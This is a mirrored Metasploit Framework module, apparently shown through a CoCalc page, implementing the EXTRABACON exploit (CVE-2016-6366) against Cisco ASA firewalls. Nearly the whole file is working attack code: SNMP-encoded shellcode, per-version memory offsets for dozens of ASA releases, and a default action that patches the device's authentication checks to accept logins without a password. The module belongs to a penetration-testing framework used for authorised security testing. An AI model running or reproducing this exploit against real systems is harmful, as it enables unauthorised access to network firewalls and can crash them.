CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/networking/cisco_asa_extrabacon.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::SNMPClient
8
include Msf::Auxiliary::Cisco
9
include Msf::Exploit::Deprecated
10
moved_from 'auxiliary/admin/cisco/cisco_asa_extrabacon'
11
12
def initialize
13
super(
14
'Name' => 'Cisco ASA Authentication Bypass (EXTRABACON)',
15
'Description' => %q{
16
This module patches the authentication functions of a Cisco ASA
17
to allow uncredentialed logins. Uses improved shellcode for payload.
18
},
19
'Author' => [
20
'Sean Dillon <[email protected]>',
21
'Zachary Harding <[email protected]>',
22
'Nate Caroe <[email protected]>',
23
'Dylan Davis <[email protected]>',
24
'William Webb <william_webb[at]rapid7.com>', # initial module and ASA hacking notes
25
'Jeff Jarmoc <jjarmoc>', # minor improvements
26
'Equation Group',
27
'Shadow Brokers'
28
],
29
'References' => [
30
[ 'CVE', '2016-6366'],
31
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160817-asa-snmp'],
32
[ 'URL', 'https://github.com/RiskSense-Ops/CVE-2016-6366'],
33
],
34
'License' => MSF_LICENSE,
35
'Actions' => [
36
['PASS_DISABLE', { 'Description' => 'Disable password authentication.' } ],
37
['PASS_ENABLE', { 'Description' => 'Enable password authentication.' } ]
38
],
39
'DefaultAction' => 'PASS_DISABLE',
40
'Notes' => {
41
'AKA' => ['EXTRABACON']
42
}
43
)
44
45
@offsets = version_offsets
46
47
register_options([
48
OptEnum.new('ASAVER', [ false, 'Target ASA version (default autodetect)', 'auto', ['auto'] + @offsets.keys]),
49
])
50
51
deregister_options('VERSION')
52
datastore['VERSION'] = '2c' # SNMP v. 2c required it seems
53
end
54
55
def version_offsets
56
# Payload offsets for supported ASA versions.
57
# See https://github.com/RiskSense-Ops/CVE-2016-6366
58
return {
59
'9.2(4)13' => ['197.207.10.8', '70.97.40.9', '72', '0.16.185.9', '240.30.185.9', '85.49.192.137', '0.80.8.8', '240.95.8.8', '85.137.229.87'],
60
'9.2(4)' => ['101.190.10.8', '54.209.39.9', '72', '0.48.184.9', '192.52.184.9', '85.49.192.137', '0.80.8.8', '0.91.8.8', '85.137.229.87'],
61
'9.2(3)' => [
62
'29.112.29.8', # jmp_esp_offset, 0
63
'134.115.39.9', # saferet_offset, 1
64
'72', # fix_ebp, 2
65
'0.128.183.9', # pmcheck_bounds, 3
66
'16.128.183.9', # pmcheck_offset, 4
67
'85.49.192.137', # pmcheck_code, 5
68
'0.80.8.8', # admauth_bounds, 6
69
'64.90.8.8', # admauth_offset, 7
70
'85.137.229.87'
71
], # admauth_code, 8
72
'9.2(2)8' => ['21.187.10.8', '54.245.39.9', '72', '0.240.183.9', '16.252.183.9', '85.49.192.137', '0.80.8.8', '64.90.8.8', '85.137.229.87'],
73
'9.2(1)' => ['197.180.10.8', '54.118.39.9', '72', '0.240.182.9', '16.252.182.9', '85.49.192.137', '0.80.8.8', '176.84.8.8', '85.137.229.87'],
74
'9.1(1)4' => ['173.250.27.8', '134.177.3.9', '72', '0.112.127.9', '176.119.127.9', '85.49.192.137', '0.48.8.8', '96.49.8.8', '85.137.229.87'],
75
'9.0(1)' => ['221.227.27.8', '134.13.3.9', '72', '0.176.126.9', '112.182.126.9', '85.49.192.137', '0.32.8.8', '240.45.8.8', '85.137.229.87'],
76
'8.4(7)' => ['109.22.18.8', '70.254.226.8', '72', '0.144.87.9', '80.156.87.9', '85.49.192.137', '0.32.8.8', '0.34.8.8', '85.137.229.87'],
77
'8.4(6)5' => ['125.63.32.8', '166.11.228.8', '72', '0.176.88.9', '96.186.88.9', '85.49.192.137', '0.32.8.8', '240.33.8.8', '85.137.229.87'],
78
'8.4(4)9' => ['173.23.5.8', '166.113.226.8', '72', '0.144.86.9', '224.154.86.9', '85.49.192.137', '0.16.8.8', '160.27.8.8', '85.137.229.87'],
79
'8.4(4)5' => ['202.250.13.8', '246.48.226.8', '72', '0.64.86.9', '16.69.86.9', '85.49.192.137', '0.16.8.8', '160.27.8.8', '85.137.229.87'],
80
'8.4(4)3' => ['164.119.8.8', '102.0.226.8', '72', '0.240.85.9', '96.252.85.9', '85.49.192.137', '0.16.8.8', '160.27.8.8', '85.137.229.87'],
81
'8.4(4)1' => ['253.74.114.8', '150.236.225.8', '72', '0.192.85.9', '176.202.85.9', '85.49.192.137', '0.16.8.8', '176.27.8.8', '85.137.229.87'],
82
'8.4(4)' => ['111.198.161.9', '181.105.226.8', '72', '0.192.85.9', '240.201.85.9', '85.49.192.137', '0.16.8.8', '176.27.8.8', '85.137.229.87'],
83
'8.4(3)' => ['13.178.7.8', '150.219.224.8', '72', '0.192.84.9', '208.207.84.9', '85.49.192.137', '0.16.8.8', '208.23.8.8', '85.137.229.87'],
84
'8.4(2)' => ['25.71.20.9', '230.222.223.8', '72', '0.128.83.9', '240.143.83.9', '85.49.192.137', '0.16.8.8', '224.19.8.8', '85.137.229.87'],
85
'8.4(1)' => ['173.58.17.9', '6.12.219.8', '72', '0.240.72.9', '240.252.72.9', '85.49.192.137', '0.48.8.8', '144.56.8.8', '85.137.229.87'],
86
'8.3(2)40' => ['169.151.13.8', '124.48.196.8', '88', '0.128.59.9', '48.137.59.9', '85.49.192.137', '0.224.6.8', '32.228.6.8', '85.137.229.87'],
87
'8.3(2)39' => ['143.212.14.8', '124.48.196.8', '88', '0.128.59.9', '176.136.59.9', '85.49.192.137', '0.224.6.8', '32.228.6.8', '85.137.229.87'],
88
'8.3(2)' => ['220.203.69.9', '252.36.195.8', '88', '0.80.54.9', '144.84.54.9', '85.49.192.137', '0.208.6.8', '16.222.6.8', '85.137.229.87'],
89
# "8.3(2)-npe" => ["125.116.12.8", "76.34.195.8", "88", "0.80.54.9", "224.81.54.9", "85.49.192.137", "0.208.6.8", "16.222.6.8", "85.137.229.87"],
90
'8.3(1)' => ['111.187.14.8', '140.140.194.8', '88', '0.112.53.9', '240.119.53.9', '85.49.192.137', '0.208.6.8', '48.221.6.8', '85.137.229.87'],
91
'8.2(5)41' => ['77.90.18.8', '188.9.187.8', '88', '0.160.50.9', '16.168.50.9', '85.49.192.137', '0.240.6.8', '16.243.6.8', '85.137.229.87'],
92
'8.2(5)33' => ['157.218.29.8', '236.190.186.8', '88', '0.80.50.9', '96.92.50.9', '85.49.192.137', '0.240.6.8', '192.242.6.8', '85.137.229.87'],
93
'8.2(5)' => ['253.13.54.9', '156.229.185.8', '88', '0.16.48.9', '96.28.48.9', '85.49.192.137', '0.240.6.8', '64.242.6.8', '85.137.229.87'],
94
'8.2(4)' => ['93.172.49.9', '236.91.185.8', '88', '0.176.43.9', '96.187.43.9', '85.49.192.137', '0.240.6.8', '16.242.6.8', '85.137.229.87'],
95
'8.2(3)' => ['45.0.7.8', '252.42.185.8', '88', '0.96.43.9', '128.111.43.9', '85.49.192.137', '0.240.6.8', '144.241.6.8', '85.137.229.87'],
96
'8.2(2)' => ['150.54.28.9', '124.0.184.8', '88', '0.224.41.9', '32.227.41.9', '85.49.192.137', '0.208.6.8', '64.221.6.8', '85.137.229.87'],
97
'8.2(1)' => ['147.242.43.9', '108.154.181.8', '88', '0.0.36.9', '240.14.36.9', '85.49.192.137', '0.208.6.8', '16.215.6.8', '85.137.229.87'],
98
'8.0(5)' => ['253.116.31.9', '204.64.171.8', '88', '0.32.24.9', '64.32.24.9', '85.49.192.137', '0.96.6.8', '128.107.6.8', '85.137.229.87'],
99
'8.0(4)32' => ['157.6.31.9', '44.20.171.8', '88', '0.176.23.9', '0.176.23.9', '85.49.192.137', '0.96.6.8', '48.105.6.8', '85.137.229.87'],
100
'8.0(4)' => ['109.188.26.9', '140.100.168.8', '88', '0.96.19.9', '128.101.19.9', '85.49.192.137', '0.96.6.8', '176.104.6.8', '85.137.229.87'],
101
'8.0(3)6' => ['191.143.24.9', '28.158.161.8', '88', '0.0.11.9', '224.1.11.9', '85.49.192.137', '0.96.6.8', '112.101.6.8', '85.137.229.87'],
102
'8.0(3)' => ['141.123.131.9', '156.138.160.8', '88', '0.128.9.9', '112.130.9.9', '85.49.192.137', '0.96.6.8', '176.96.6.8', '85.137.229.87'],
103
'8.0(2)' => ['155.222.211.8', '44.103.159.8', '88', '0.224.6.9', '32.237.6.9', '85.49.192.137', '0.80.6.8', '48.90.6.8', '85.137.229.87']
104
}
105
end
106
107
def check
108
begin
109
vers_string = retrieve_asa_version
110
rescue ::StandardError
111
print_error('Error: Unable to retrieve version information')
112
return Exploit::CheckCode::Unknown
113
end
114
115
if @offsets[vers_string]
116
print_good("Payload for Cisco ASA version #{vers_string} available!")
117
return Exploit::CheckCode::Appears
118
end
119
120
print_warning("Received Cisco ASA version #{vers_string}, but no payload available")
121
return Exploit::CheckCode::Detected
122
end
123
124
def build_payload(vers_string, mode)
125
# adds offsets to the improved shellcode
126
# https://github.com/RiskSense-Ops/CVE-2016-6366/blob/master/shellcode.nasm
127
128
if mode == 'PASS_DISABLE'
129
always_return_true = '49.192.64.195'
130
pmcheck_bytes = always_return_true
131
admauth_bytes = always_return_true
132
else # PASS_ENABLE
133
pmcheck_bytes = @offsets[vers_string][5]
134
admauth_bytes = @offsets[vers_string][8]
135
end
136
137
preamble_snmp = ''
138
preamble_snmp << '49.219.49.246.49.201.49.192.96.49.210.128.197.16.128.194.7.4.125.80.187.'
139
preamble_snmp << @offsets[vers_string][3]
140
preamble_snmp << '.205.128.88.187.'
141
preamble_snmp << @offsets[vers_string][6]
142
preamble_snmp << '.205.128.199.5.'
143
preamble_snmp << @offsets[vers_string][4]
144
preamble_snmp << '.'
145
preamble_snmp << pmcheck_bytes
146
preamble_snmp << '.199.5.'
147
preamble_snmp << @offsets[vers_string][7]
148
preamble_snmp << '.'
149
preamble_snmp << admauth_bytes
150
preamble_snmp << '.97.104.'
151
preamble_snmp << @offsets[vers_string][1]
152
preamble_snmp << '.128.195.16.191.11.15.15.15.137.229.131.197.'
153
preamble_snmp << @offsets[vers_string][2]
154
preamble_snmp << '.195'
155
156
preamble_len = preamble_snmp.split('.').length
157
preamble_snmp << '.144' * (82 - preamble_len)
158
159
# cufwUrlfServerStatus
160
head = '1.3.6.1.4.1.9.9.491.1.3.3.1.1.5'
161
head << '.9.95'
162
163
finder_snmp = '139.124.36.20.139.7.255.224.144'
164
165
overflow = [head, preamble_snmp, @offsets[vers_string][0], finder_snmp].join('.')
166
return overflow
167
end
168
169
def run
170
vers_string = retrieve_asa_version
171
172
print_status("Building #{action.name} payload for version #{vers_string}...")
173
overflow = build_payload(vers_string, action.name)
174
payload = SNMP::ObjectId.new(overflow)
175
176
print_status('Sending SNMP payload...')
177
response = snmp.get_bulk(0, 1, [SNMP::VarBind.new(payload)])
178
179
if response.varbind_list
180
print_good('Clean return detected!')
181
if action.name == 'PASS_DISABLE'
182
print_warning("Don't forget to run PASS_ENABLE after logging in!")
183
print_warning(' set ACTION PASS_ENABLE')
184
end
185
end
186
rescue ::Rex::ConnectionError
187
print_error('Connection Error: Is the target up?')
188
rescue ::SNMP::RequestTimeout
189
print_error('SNMP Error: Request Timeout, Cisco ASA may have crashed :/')
190
rescue ::SNMP::UnsupportedVersion
191
print_error('SNMP Error: Version 2c is not supported by target.')
192
rescue ::NoMethodError
193
print_error("Error: No payload available for version #{vers_string}")
194
rescue ::Interrupt
195
raise $ERROR_INFO
196
rescue ::StandardError => e
197
print_error("Error: #{e.class} #{e} #{e.backtrace}")
198
ensure
199
disconnect_snmp
200
end
201
202
def retrieve_asa_version
203
return datastore['ASAVER'] unless (datastore['ASAVER'] == 'auto')
204
205
vprint_status('Fingerprinting via SNMP...')
206
207
asa_version_oid = '1.3.6.1.2.1.47.1.1.1.1.10.1'
208
mib2_sysdescr_oid = '1.3.6.1.2.1.1.1.0'
209
210
snmp = connect_snmp
211
ver = snmp.get_value(asa_version_oid).to_s
212
vprint_status("OID #{asa_version_oid} yields #{ver}")
213
214
if (ver == 'noSuchInstance')
215
# asa_version_snmp OID isn't available on some models, fallback to MIB2 SysDescr
216
ver = snmp.get_value(mib2_sysdescr_oid).rpartition(' ').last
217
vprint_status("OID #{mib2_sysdescr_oid} yields #{ver}")
218
end
219
220
ver
221
end
222
end
223
224